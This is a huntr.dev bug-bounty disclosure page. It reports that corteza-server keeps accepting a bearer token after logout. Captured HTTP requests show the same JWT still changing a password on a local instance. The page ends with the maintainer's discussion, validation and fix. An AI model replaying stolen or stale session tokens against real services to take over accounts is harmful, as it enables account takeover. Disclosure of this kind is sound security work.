Use of a Key Past its Expiration Date in cortezaproject/corteza-server

Valid

Reported on

Oct 2nd 2021


Setup the application on your local system.

Steps:

  1. Login in application and navigate to the settings, where change the user password and capture the request in burp suit.
  2. Now logout from application and copy the Authorization token.
  3. After logout the authorization token must be invalidated, but in this case the Authorization token is not getting expired.

Scenario:

Request when user in logged in:

POST /api/system/auth/internal/change-password HTTP/1.1

Host: 127.0.0.1:18080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: application/json, text/plain, /

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/json

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzU3NjQ3NzksInVzZXJJRCI6IjI1MTU2MDM5MzU5ODU2NjQwNCJ9.ji6LdCdBoSw_OPdzfgvkuefJDdXh6vhp28_s6mCBsxg

Content-Length: 55

Origin: http://127.0.0.1:18080

Connection: close

Referer: http://127.0.0.1:18080/auth/change-password

{"oldPassword":"xxx","newPassword":"xxx"}

Response when user in logged in:

HTTP/1.1 200 OK

Access-Control-Allow-Credentials: true

Access-Control-Allow-Origin: http://127.0.0.1:18080

Content-Type: application/json

Vary: Origin

X-Request-Id: b8bd6334f332/gZu5uijNub-000329

Date: Sat, 02 Oct 2021 11:23:34 GMT

Content-Length: 18

Connection: close

{"response":true}

Request after user in logged out:

POST /api/system/auth/internal/change-password HTTP/1.1

Host: 127.0.0.1:18080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: application/json, text/plain, /

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/json

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzU3NjQ3NzksInVzZXJJRCI6IjI1MTU2MDM5MzU5ODU2NjQwNCJ9.ji6LdCdBoSw_OPdzfgvkuefJDdXh6vhp28_s6mCBsxg

Content-Length: 55

Origin: http://127.0.0.1:18080

Connection: close

Referer: http://127.0.0.1:18080/auth/change-password

{"oldPassword":"xxx","newPassword":"xxx"}

Response after user in logged out:

HTTP/1.1 200 OK

Access-Control-Allow-Credentials: true

Access-Control-Allow-Origin: http://127.0.0.1:18080

Content-Type: application/json

Vary: Origin

X-Request-Id: b8bd6334f332/gZu5uijNub-000329

Date: Sat, 02 Oct 2021 11:23:34 GMT

Content-Length: 18

Connection: close

{"response":true}

An attacker can change victim passwords once it has his authorization token. (Getting authorization token is quite hard but once attacker get hold of it he can use it whenever he wants to takeover the victims account)

We have contacted a member of the cortezaproject/corteza-server team and are waiting to hear back 8 months ago
takester
8 months ago

Researcher


Any update??

takester
8 months ago

Researcher


any update??

We have sent a third and final follow up to the cortezaproject/corteza-server team. This report is now considered stale. 7 months ago
Tomaž Jerman
7 months ago

Maintainer


Thanks for reporting. What version did you test this on? We improved the way tokens are stored and handled and I can't recall if this case was also addressed. I'll get one of our guys to validate this; in the meantime, could you please let me know what version this was on?

takester
7 months ago

Researcher


Hi, thanks for the reply. Sorry Currently I dont have the application on my machine, I deleted the application after days of reporting. You can check the version and match with the date when I reported the issue.

Tomaž Jerman
7 months ago

Maintainer


(same reply as on https://huntr.dev/bounties/ff374a1b-4975-43eb-9232-496a5ad9b18b/)

The reported flow holds, but we are not planning on changing it. A user has an option to revoke their sessions at any point if they decide to do so, but we will not revoke them automatically for such cases.

We might add a popup (or something) to ask the user to revoke the sessions for cases such as password changes or logout for a nicer UX (something similar to what Facebook does IIRC).

@admin should this disclosure be considered valid? For us, we would say no.

Jamie Slome
7 months ago

Admin


@Tomaz - if you believe a report is not valid, feel free to mark it as invalid. The buck ends with the maintainer, and that is you!

For example, if you believe that a provided PoC does not have any form of security implication to the user, we would encourage the report to be marked as invalid.

Tomaž Jerman validated this vulnerability 4 months ago
takester has been awarded the disclosure bounty
The fix bounty is now up for grabs
Tomaž Jerman confirmed that a fix has been merged on 015771 4 months ago
The fix bounty has been dropped
to join this conversation